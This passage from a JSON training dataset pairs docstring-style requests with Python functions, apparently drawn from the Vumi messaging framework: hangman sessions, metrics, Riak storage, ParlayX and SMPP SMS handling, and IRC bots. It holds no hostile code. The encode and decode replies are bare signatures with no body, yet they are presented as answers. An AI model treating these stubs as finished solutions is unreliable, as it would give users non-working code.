"content": "Save the game state for the given game..", "conversation_id": 639, "message_id": 1 }, { "role": "assistant", "content": "def save_game(self, msisdn, game):\n game_key = self.game_key(msisdn)\n state = game.state()\n return self.session_manager.save_session(game_key, state)", "conversation_id": 639, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 640, "message_id": 0 }, { "role": "user", "content": "Find or create a hangman game for this player.\nThen process the user's message..", "conversation_id": 640, "message_id": 1 }, { "role": "assistant", "content": "def consume_user_message(self, msg):\n log.msg(\"User message: %s\" % msg['content'])\n user_id = msg.user()\n config = yield self.get_config(msg)\n game = yield self.load_game(user_id)\n if game is None:\n game = yield self.new_game(user_id, config.random_word_url)\n if msg['content'] is None:\n self.reply_to(msg, game.draw_board(), True)\n return\n message = msg['content'].strip()\n game.event(message)\n continue_session = True\n if game.exit_code == game.DONE:\n yield self.delete_game(user_id)\n continue_session = False\n elif game.exit_code == game.DONE_WANTS_NEW:\n game = yield self.new_game(user_id, config.random_word_url)\n else:\n yield self.save_game(user_id, game)\n self.reply_to(msg, game.draw_board(), continue_session)", "conversation_id": 640, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 641, "message_id": 0 }, { "role": "user", "content": "Start the metric polling and publishing task..", "conversation_id": 641, "message_id": 1 }, { "role": "assistant", "content": "def start_polling(self):\n self._task = LoopingCall(self.publish_metrics)\n done = self._task.start(self._publish_interval, now=False)\n done.addErrback(lambda failure: log.err(failure,\n \"MetricManager polling task died\"))", "conversation_id": 641, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 642, "message_id": 0 }, { "role": "user", "content": "Stop the metric polling and publishing task..", "conversation_id": 642, "message_id": 1 }, { "role": "assistant", "content": "def stop_polling(self):\n if self._task:\n if self._task.running:\n self._task.stop()\n self._task = None", "conversation_id": 642, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 643, "message_id": 0 }, { "role": "user", "content": "Publish a single value for the given metric..", "conversation_id": 643, "message_id": 1 }, { "role": "assistant", "content": "def oneshot(self, metric, value):\n self._oneshot_msgs.append(\n (metric, [(int(time.time()), value)]))", "conversation_id": 643, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 644, "message_id": 0 }, { "role": "user", "content": "Register a new metric object to be managed by this metric set.\nA metric can be registered with only one metric set..", "conversation_id": 644, "message_id": 1 }, { "role": "assistant", "content": "def register(self, metric):\n metric.manage(self)\n self._metrics.append(metric)\n if metric.name in self._metrics_lookup:\n raise MetricRegistrationError(\"Duplicate metric name %s\"\n % metric.name)\n self._metrics_lookup[metric.name] = metric\n return metric", "conversation_id": 644, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 645, "message_id": 0 }, { "role": "user", "content": "Start publishing metrics in a loop..", "conversation_id": 645, "message_id": 1 }, { "role": "assistant", "content": "def start(self, channel):\n if self._publisher is not None:\n raise RuntimeError(\"Publisher already present.\")\n self._publisher = MetricPublisher()\n self._publisher.start(channel)\n self.start_polling()", "conversation_id": 645, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 646, "message_id": 0 }, { "role": "user", "content": "Called by :class:`MetricManager` when this metric is registered..", "conversation_id": 646, "message_id": 1 }, { "role": "assistant", "content": "def manage(self, manager):\n if self._manager is not None:\n raise MetricRegistrationError(\n \"Metric %s already registered with MetricManager with\"\n \" prefix %s.\" % (self.name, self._manager.prefix))\n self._manager = manager", "conversation_id": 646, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 647, "message_id": 0 }, { "role": "user", "content": "Raise an exception if closed, otherwise return underlying client..", "conversation_id": 647, "message_id": 1 }, { "role": "assistant", "content": "def _client(self):\n if self._closed:\n raise VumiRiakError(\"Can't use closed Riak client.\")\n return self._raw_client", "conversation_id": 647, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 648, "message_id": 0 }, { "role": "user", "content": "Purge all objects and buckets properties belonging to buckets with the\ngiven prefix.\n\nThis operation should *ONLY* be used in tests..", "conversation_id": 648, "message_id": 1 }, { "role": "assistant", "content": "def _purge_all(self, bucket_prefix):\n buckets = self._raw_client.get_buckets()\n for bucket in buckets:\n if bucket.name.startswith(bucket_prefix):\n for key in bucket.get_keys():\n obj = bucket.get(key)\n obj.delete()\n bucket.clear_properties()\n if self._closed:\n self.close()", "conversation_id": 648, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 649, "message_id": 0 }, { "role": "user", "content": "Call a function that touches the network and wrap the result in this\nclass..", "conversation_id": 649, "message_id": 1 }, { "role": "assistant", "content": "def _call_and_wrap(self, func):\n raise NotImplementedError(\"Subclasses must implement this.\")", "conversation_id": 649, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 650, "message_id": 0 }, { "role": "user", "content": "Migrate keys from `keys_list` until there are none left.\nThis method is expected to be called multiple times concurrently with\nall instances sharing the same `keys_list`..", "conversation_id": 650, "message_id": 1 }, { "role": "assistant", "content": "def migrate_keys(self, _result, keys_list, dry_run):\n while keys_list:\n key = keys_list.pop(0)\n yield self.migrate_key(key, dry_run)", "conversation_id": 650, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 651, "message_id": 0 }, { "role": "user", "content": "Perform an index query to get all keys and migrate them.\nIf `continuation` is provided, it will be used as the starting point\nfor the query..", "conversation_id": 651, "message_id": 1 }, { "role": "assistant", "content": "def migrate_all_keys(self, continuation=None):\n self.emit(\"Migrating ...\")\n emit_progress = lambda t: self.emit(\n \"%s object%s migrated.\" % (t, \"\" if t == 1 else \"s\"))\n index_page = yield self.model.all_keys_page(\n max_results=self.options[\"index-page-size\"],\n continuation=continuation)\n yield self.migrate_pages(index_page, emit_progress)", "conversation_id": 651, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 652, "message_id": 0 }, { "role": "user", "content": "Acquire a tag from the pool (returns None if no tags are avaliable)..", "conversation_id": 652, "message_id": 1 }, { "role": "assistant", "content": "def jsonrpc_acquire_tag(self, pool, owner=None, reason=None):\n d = self.tagpool.acquire_tag(pool, owner, reason)\n return d", "conversation_id": 652, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 653, "message_id": 0 }, { "role": "user", "content": "Acquire the specific tag (returns None if the tag is unavailable)..", "conversation_id": 653, "message_id": 1 }, { "role": "assistant", "content": "def jsonrpc_acquire_specific_tag(self, tag, owner=None, reason=None):\n d = self.tagpool.acquire_specific_tag(tag, owner, reason)\n return d", "conversation_id": 653, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 654, "message_id": 0 }, { "role": "user", "content": "Delete the given pool and all associated metadata and tags.\nNo tags from the pool may be inuse..", "conversation_id": 654, "message_id": 1 }, { "role": "assistant", "content": "def jsonrpc_purge_pool(self, pool):\n return self.tagpool.purge_pool(pool)", "conversation_id": 654, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 655, "message_id": 0 }, { "role": "user", "content": "Return a list of all available pools..", "conversation_id": 655, "message_id": 1 }, { "role": "assistant", "content": "def jsonrpc_list_pools(self):\n d = self.tagpool.list_pools()\n d.addCallback(list)\n return d", "conversation_id": 655, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 656, "message_id": 0 }, { "role": "user", "content": "Returns the owner of an acquired tag and why is was acquired..", "conversation_id": 656, "message_id": 1 }, { "role": "assistant", "content": "def jsonrpc_acquired_by(self, tag):\n d = self.tagpool.acquired_by(tag)\n d.addCallback(list)\n return d", "conversation_id": 656, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 657, "message_id": 0 }, { "role": "user", "content": "Encode a unicode_string in a specific encoding and return\nthe byte string..", "conversation_id": 657, "message_id": 1 }, { "role": "assistant", "content": "def encode(unicode_string, encoding, errors):", "conversation_id": 657, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 658, "message_id": 0 }, { "role": "user", "content": "Decode a bytestring in a specific encoding and return the\nunicode string.", "conversation_id": 658, "message_id": 1 }, { "role": "assistant", "content": "def decode(byte_string, encoding, errors):", "conversation_id": 658, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 659, "message_id": 0 }, { "role": "user", "content": "Create a `ParlayXClient` instance..", "conversation_id": 659, "message_id": 1 }, { "role": "assistant", "content": "def _create_client(self, config):\n return ParlayXClient(\n service_provider_service_id=config.service_provider_service_id,\n service_provider_id=config.service_provider_id,\n service_provider_password=config.service_provider_password,\n short_code=config.short_code,\n endpoint=config.notification_endpoint_uri,\n send_uri=config.remote_send_uri,\n notification_uri=config.remote_notification_uri)", "conversation_id": 659, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 660, "message_id": 0 }, { "role": "user", "content": "Send a text message via the ParlayX client..", "conversation_id": 660, "message_id": 1 }, { "role": "assistant", "content": "def handle_outbound_message(self, message):\n log.info('Sending SMS via ParlayX: %r' % (message.to_json(),))\n transport_metadata = message.get('transport_metadata', {})\n d = self._parlayx_client.send_sms(\n message['to_addr'],\n message['content'],\n unique_correlator(message['message_id']),\n transport_metadata.get('linkid'))\n d.addErrback(self.handle_outbound_message_failure, message)\n d.addCallback(\n lambda requestIdentifier: self.publish_ack(\n message['message_id'], requestIdentifier))\n return d", "conversation_id": 660, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 661, "message_id": 0 }, { "role": "user", "content": "Handle incoming text messages from `SmsNotificationService` callbacks..", "conversation_id": 661, "message_id": 1 }, { "role": "assistant", "content": "def handle_raw_inbound_message(self, correlator, linkid, inbound_message):\n log.info('Receiving SMS via ParlayX: %r: %r' % (\n correlator, inbound_message,))\n message_id = extract_message_id(correlator)\n return self.publish_message(\n message_id=message_id,\n content=inbound_message.message,\n to_addr=inbound_message.service_activation_number,\n from_addr=inbound_message.sender_address,\n provider='parlayx',\n transport_type=self.transport_type,\n transport_metadata=dict(linkid=linkid))", "conversation_id": 661, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 662, "message_id": 0 }, { "role": "user", "content": "Construct a unique message identifier from an existing message\nidentifier.\n\nThis is necessary for the cases where a ``TransportMessage`` needs to\nbe transmitted, since ParlayX wants unique identifiers for all sent\nmessages..", "conversation_id": 662, "message_id": 1 }, { "role": "assistant", "content": "def unique_correlator(message_id, _uuid=None):\n if _uuid is None:\n _uuid = uuid.uuid4()\n return '%s:%s' % (message_id, _uuid)", "conversation_id": 662, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 663, "message_id": 0 }, { "role": "user", "content": "Extract the Vumi message identifier from a ParlayX correlator..", "conversation_id": 663, "message_id": 1 }, { "role": "assistant", "content": "def extract_message_id(correlator):\n return correlator.split(':', 1)[0]", "conversation_id": 663, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 664, "message_id": 0 }, { "role": "user", "content": "Creates a dummy Vas2Nets request for testing our resources with.", "conversation_id": 664, "message_id": 1 }, { "role": "assistant", "content": "def create_request(params={}, path='/', method='POST'):\n request = DummyRequest(path)\n request.method = method\n request.args = params\n return request", "conversation_id": 664, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 665, "message_id": 0 }, { "role": "user", "content": "Create and store an outbound message..", "conversation_id": 665, "message_id": 1 }, { "role": "assistant", "content": "def _create_outbound(self, tag=(\"pool\", \"tag\"), by_batch=False,\n content='outbound foo'):\n add_kw, batch_id = yield self._maybe_batch(tag, by_batch)\n msg = self.msg_helper.make_outbound(content)\n msg_id = msg['message_id']\n yield self.store.add_outbound_message(msg, **add_kw)\n returnValue((msg_id, msg, batch_id))", "conversation_id": 665, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 666, "message_id": 0 }, { "role": "user", "content": "Create and store an inbound message..", "conversation_id": 666, "message_id": 1 }, { "role": "assistant", "content": "def _create_inbound(self, tag=(\"pool\", \"tag\"), by_batch=False,\n content='inbound foo'):\n add_kw, batch_id = yield self._maybe_batch(tag, by_batch)\n msg = self.msg_helper.make_inbound(\n content, to_addr=\"+1234567810001\", transport_type=\"sms\")\n msg_id = msg['message_id']\n yield self.store.add_inbound_message(msg, **add_kw)\n returnValue((msg_id, msg, batch_id))", "conversation_id": 666, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 667, "message_id": 0 }, { "role": "user", "content": "Format a normalized MSISDN as a URI that ParlayX will accept..", "conversation_id": 667, "message_id": 1 }, { "role": "assistant", "content": "def format_address(msisdn):\n if not msisdn.startswith('+'):\n raise ValueError('Only international format addresses are supported')\n return 'tel:' + msisdn[1:]", "conversation_id": 667, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 668, "message_id": 0 }, { "role": "user", "content": "Format a `datetime` instance timestamp according to ParlayX\nrequirements..", "conversation_id": 668, "message_id": 1 }, { "role": "assistant", "content": "def format_timestamp(when):\n return when.strftime('%Y%m%d%H%M%S')", "conversation_id": 668, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 669, "message_id": 0 }, { "role": "user", "content": "Build a time-sensitive password for a request..", "conversation_id": 669, "message_id": 1 }, { "role": "assistant", "content": "def make_password(service_provider_id, service_provider_password,\n timestamp):\n return hashlib.md5(\n service_provider_id +\n service_provider_password +\n timestamp).hexdigest()", "conversation_id": 669, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 670, "message_id": 0 }, { "role": "user", "content": "The current date and time..", "conversation_id": 670, "message_id": 1 }, { "role": "assistant", "content": "def _now(self):\n return datetime.now()", "conversation_id": 670, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 671, "message_id": 0 }, { "role": "user", "content": "Register a notification delivery endpoint with the remote ParlayX\nservice..", "conversation_id": 671, "message_id": 1 }, { "role": "assistant", "content": "def start_sms_notification(self):\n body = NOTIFICATION_MANAGER_NS.startSmsNotification(\n NOTIFICATION_MANAGER_NS.reference(\n L.endpoint(self.endpoint),\n L.interfaceName('notifySmsReception'),\n L.correlator(self._service_correlator)),\n NOTIFICATION_MANAGER_NS.smsServiceActivationNumber(\n self.short_code))\n header = self._make_header()\n return self.perform_soap_request(\n uri=self.notification_uri,\n action='',\n body=body,\n header=header,\n expected_faults=[ServiceException])", "conversation_id": 671, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 672, "message_id": 0 }, { "role": "user", "content": "Deregister notification delivery with the remote ParlayX service..", "conversation_id": 672, "message_id": 1 }, { "role": "assistant", "content": "def stop_sms_notification(self):\n body = NOTIFICATION_MANAGER_NS.stopSmsNotification(\n L.correlator(self._service_correlator))\n header = self._make_header()\n return self.perform_soap_request(\n uri=self.notification_uri,\n action='',\n body=body,\n header=header,\n expected_faults=[ServiceException])", "conversation_id": 672, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 673, "message_id": 0 }, { "role": "user", "content": "Fetch the next page of results..", "conversation_id": 673, "message_id": 1 }, { "role": "assistant", "content": "def next_page(self):\n if not self.has_next_page():\n return succeed(None)\n d = deferToThread(self._index_page.next_page)\n d.addCallback(type(self))\n d.addErrback(riakErrorHandler)\n return d", "conversation_id": 673, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 674, "message_id": 0 }, { "role": "user", "content": "Call a function that touches the network and wrap the result in this\nclass..", "conversation_id": 674, "message_id": 1 }, { "role": "assistant", "content": "def _call_and_wrap(self, func):\n d = deferToThread(func)\n d.addCallback(type(self))\n return d", "conversation_id": 674, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 675, "message_id": 0 }, { "role": "user", "content": "Construct an appropriate configuration for the child worker..", "conversation_id": 675, "message_id": 1 }, { "role": "assistant", "content": "def construct_worker_config(self, worker_name):\n config = deepcopy(self.config.get('defaults', {}))\n config.update(self.config.get(worker_name, {}))\n return config", "conversation_id": 675, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 676, "message_id": 0 }, { "role": "user", "content": "Mark a test method as needing Riak setup..", "conversation_id": 676, "message_id": 1 }, { "role": "assistant", "content": "def needs_riak(method):\n method.needs_riak = True\n return method", "conversation_id": 676, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 677, "message_id": 0 }, { "role": "user", "content": "Return a wrapper around `meth` that sets up a RiakManager..", "conversation_id": 677, "message_id": 1 }, { "role": "assistant", "content": "def wrap_riak_setup(deco, meth):\n @wraps(meth)\n def wrapper(self):\n deco.setup_riak(self)\n return meth(self)\n return wrapper", "conversation_id": 677, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 678, "message_id": 0 }, { "role": "user", "content": "Return a wrapper around `meth` that sets up a TxRiakManager..", "conversation_id": 678, "message_id": 1 }, { "role": "assistant", "content": "def wrap_txriak_setup(deco, meth):\n @wraps(meth)\n def wrapper(self):\n d = deco.setup_txriak(self)\n return d.addCallback(lambda _: meth(self))\n return wrapper", "conversation_id": 678, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 679, "message_id": 0 }, { "role": "user", "content": "Clean up the Riak manager on the given test class..", "conversation_id": 679, "message_id": 1 }, { "role": "assistant", "content": "def cleanup_manager(deco, self):\n yield self.manager.purge_all()\n yield self.manager.close_manager()", "conversation_id": 679, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 680, "message_id": 0 }, { "role": "user", "content": "Read various host and worker attributes and wrap them in a message.", "conversation_id": 680, "message_id": 1 }, { "role": "assistant", "content": "def _beat(self):\n attrs = self._gen_attrs_func()\n msg = HeartBeatMessage(**attrs)\n self.publish_message(msg)", "conversation_id": 680, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 681, "message_id": 0 }, { "role": "user", "content": "Check if we should stop throttling, and stop throttling if we should.\nAt a high level, we try each throttled message in our list until all of\nthem have been accepted by the SMSC, at which point we stop throttling.\n\nIn more detail.\n\nWe recursively process our list of throttled message_ids until either\nwe have none left (at which point we stop throttling) or we find one we\ncan successfully look up in our cache.\n\nWhen we find a message we can retry, we retry it and return. We remain\nthrottled until the SMSC responds. If we're still throttled, the\nmessage_id gets appended to our list and another check is scheduled for\nlater. If we're no longer throttled, this method gets called again\nimmediately.\n\nWhen there are no more throttled message_ids in our list, we stop\nthrottling..", "conversation_id": 681, "message_id": 1 }, { "role": "assistant", "content": "def _check_stop_throttling(self):\n self._unthrottle_delayedCall = None\n if not self.is_bound():\n self.log.msg(\"Can't check throttling while unbound, trying later.\")\n self.check_stop_throttling()\n return\n if not self._throttled_pdus:\n self.log.msg(\"No more throttled messages to retry.\")\n yield self.stop_throttling()\n return\n seq_no = self._throttled_pdus.pop(0)\n pdu_data = yield self.message_stash.get_cached_pdu(seq_no)\n yield self.retry_throttled_pdu(pdu_data, seq_no)", "conversation_id": 681, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 682, "message_id": 0 }, { "role": "user", "content": "Submit a concatenated SMS to the SMSC using the optional\nSAR parameter names in the various PDUS..", "conversation_id": 682, "message_id": 1 }, { "role": "assistant", "content": "def submit_csm_sar(\n self, vumi_message_id, destination_addr,\n reference_rollover=0x10000, **pdu_params):\n split_msg = self.csm_split_message(pdu_params.pop('short_message'))\n if len(split_msg) == 1:\n sequence_numbers = yield self.submit_sm(\n vumi_message_id, destination_addr, short_message=split_msg[0],\n **pdu_params)\n returnValue(sequence_numbers)\n optional_parameters = pdu_params.pop('optional_parameters', {}).copy()\n ref_num = yield self.sequence_generator.next()\n sequence_numbers = []\n yield self.message_stash.init_multipart_info(\n vumi_message_id, len(split_msg))\n for i, msg in enumerate(split_msg):\n pdu_params = pdu_params.copy()\n optional_parameters.update({\n 'sar_msg_ref_num': (ref_num % reference_rollover),\n 'sar_total_segments': len(split_msg),\n 'sar_segment_seqnum': i + 1,\n })\n sequence_number = yield self.submit_sm(\n vumi_message_id, destination_addr, short_message=msg,\n optional_parameters=optional_parameters, **pdu_params)\n sequence_numbers.extend(sequence_number)\n returnValue(sequence_numbers)", "conversation_id": 682, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 683, "message_id": 0 }, { "role": "user", "content": "Submit a concatenated SMS to the SMSC using user data headers (UDH)\nin the message content..", "conversation_id": 683, "message_id": 1 }, { "role": "assistant", "content": "def submit_csm_udh(self, vumi_message_id, destination_addr, **pdu_params):\n if 'esm_class' in pdu_params:\n raise EsmeProtocolError(\n 'Cannot specify esm_class, GSM spec sets this at 0x40 '\n 'for concatenated messages using UDH.')\n pdu_params = pdu_params.copy()\n split_msg = self.csm_split_message(pdu_params.pop('short_message'))\n if len(split_msg) == 1:\n sequence_numbers = yield self.submit_sm(\n vumi_message_id, destination_addr, short_message=split_msg[0],\n **pdu_params)\n returnValue(sequence_numbers)\n ref_num = yield self.sequence_generator.next()\n sequence_numbers = []\n yield self.message_stash.init_multipart_info(\n vumi_message_id, len(split_msg))\n for i, msg in enumerate(split_msg):\n pdu_params['esm_class'] = 0x40\n udh = ''.join([\n '\\05', \n '\\00', \n '\\03', \n chr(ref_num % 0xFF),\n chr(len(split_msg)),\n chr(i + 1),\n ])\n short_message = udh + msg\n sequence_number = yield self.submit_sm(\n vumi_message_id, destination_addr, short_message=short_message,\n **pdu_params)\n sequence_numbers.extend(sequence_number)\n returnValue(sequence_numbers)", "conversation_id": 683, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 684, "message_id": 0 }, { "role": "user", "content": "Publish datapoints to a broker..", "conversation_id": 684, "message_id": 1 }, { "role": "assistant", "content": "def send_datapoints(self, exchange, queue, datapoints):\n msg = MetricMessage()\n msg.extend(datapoints)\n self._broker.publish_message(exchange, queue, msg)", "conversation_id": 684, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 685, "message_id": 0 }, { "role": "user", "content": "Retrieve datapoints from a broker..", "conversation_id": 685, "message_id": 1 }, { "role": "assistant", "content": "def recv_datapoints(self, exchange, queue):\n vumi_msgs = self._broker.get_messages(exchange, queue)\n msgs = [MetricMessage.from_dict(vm.payload) for vm in vumi_msgs]\n return [msg.datapoints() for msg in msgs]", "conversation_id": 685, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 686, "message_id": 0 }, { "role": "user", "content": "Return the channel if the recipient is a channel.\nOtherwise return None..", "conversation_id": 686, "message_id": 1 }, { "role": "assistant", "content": "def channel(self):\n if self.recipient[:1] in ('#', '&', '$'):\n return self.recipient\n return None", "conversation_id": 686, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 687, "message_id": 0 }, { "role": "user", "content": "Called when bot has succesfully signed on to server..", "conversation_id": 687, "message_id": 1 }, { "role": "assistant", "content": "def signedOn(self):\n log.msg(\"Attempting to join channels: %r\" % (self.channels,))\n for channel in self.channels:\n self.join(channel)", "conversation_id": 687, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 688, "message_id": 0 }, { "role": "user", "content": "This will get called when the bot receives a message..", "conversation_id": 688, "message_id": 1 }, { "role": "assistant", "content": "def privmsg(self, sender, recipient, message):\n irc_msg = IrcMessage(sender, 'PRIVMSG', recipient, message,\n self.nickname)\n self.publish_message(irc_msg)", "conversation_id": 688, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 689, "message_id": 0 }, { "role": "user", "content": "This will get called when the bot receives a notice..", "conversation_id": 689, "message_id": 1 }, { "role": "assistant", "content": "def noticed(self, sender, recipient, message):\n irc_msg = IrcMessage(sender, 'NOTICE', recipient, message,\n self.nickname)\n self.publish_message(irc_msg)", "conversation_id": 689, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 690, "message_id": 0 }, { "role": "user", "content": "This will get called when the bot sees someone do an action..", "conversation_id": 690, "message_id": 1 }, { "role": "assistant", "content": "def action(self, sender, recipient, message):\n irc_msg = IrcMessage(sender, 'ACTION', recipient, message,\n self.nickname)\n self.publish_message(irc_msg)", "conversation_id": 690, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 691, "message_id": 0 }, { "role": "user", "content": "Called when an IRC user changes their nickname..", "conversation_id": 691, "message_id": 1 }, { "role": "assistant", "content": "def irc_NICK(self, prefix, params):\n old_nick = prefix.partition('!')[0]\n new_nick = params[0]\n log.msg(\"Nick changed from %r to %r\" % (old_nick, new_nick))", "conversation_id": 691, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 692, "message_id": 0 }, { "role": "user", "content": "Generate an altered version of a nickname that caused a collision in an\neffort to create an unused related name for subsequent registration..", "conversation_id": 692, "message_id": 1 }, { "role": "assistant", "content": "def alterCollidedNick(self, nickname):\n return nickname + '^'", "conversation_id": 692, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 693, "message_id": 0 }, { "role": "user", "content": "Non-recursively overlay a set of configuration dictionaries.", "conversation_id": 693, "message_id": 1 }, { "role": "assistant", "content": "def overlay_configs(*configs):\n config = {}\n for overlay in configs:\n config.update(overlay)\n return config", "conversation_id": 693, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 694, "message_id": 0 }, { "role": "user", "content": "Parse an (usually) optional YAML config file..", "conversation_id": 694, "message_id": 1 }, { "role": "assistant", "content": "def read_yaml_config(config_file, optional=True):\n if optional and config_file is None:\n return {}\n with file(config_file, 'r') as stream:\n return yaml.load(stream, Loader=SafeLoaderWithInclude)", "conversation_id": 694, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 695, "message_id": 0 }, { "role": "user", "content": "Set a worker configuration option (overrides values\nspecified in the file passed to --config)..", "conversation_id": 695, "message_id": 1 }, { "role": "assistant", "content": "def opt_set_option(self, keyvalue):\n key, _sep, value = keyvalue.partition(':')\n self.set_options[key] = value", "conversation_id": 695, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 696, "message_id": 0 }, { "role": "user", "content": "Print out a usage message for the worker-class and exit.", "conversation_id": 696, "message_id": 1 }, { "role": "assistant", "content": "def do_worker_help(self):\n worker_class = load_class_by_string(self.worker_class)\n self.emit(worker_class.__doc__)\n config_class = getattr(worker_class, 'CONFIG_CLASS', None)\n if config_class is not None:\n self.emit(config_class.__doc__)\n self.emit(\"\")\n self.exit()", "conversation_id": 696, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 697, "message_id": 0 }, { "role": "user", "content": "Build a `MockResponse` containing a SOAP envelope..", "conversation_id": 697, "message_id": 1 }, { "role": "assistant", "content": "def build(cls, code, body, header=None):\n return cls(\n code=code,\n delivered_body=tostring(soap_envelope(body, header)))", "conversation_id": 697, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 698, "message_id": 0 }, { "role": "user", "content": "Helper for creating an ``notifySmsDeliveryReceipt`` element..", "conversation_id": 698, "message_id": 1 }, { "role": "assistant", "content": "def create_sms_delivery_receipt(correlator, address, delivery_status):\n return 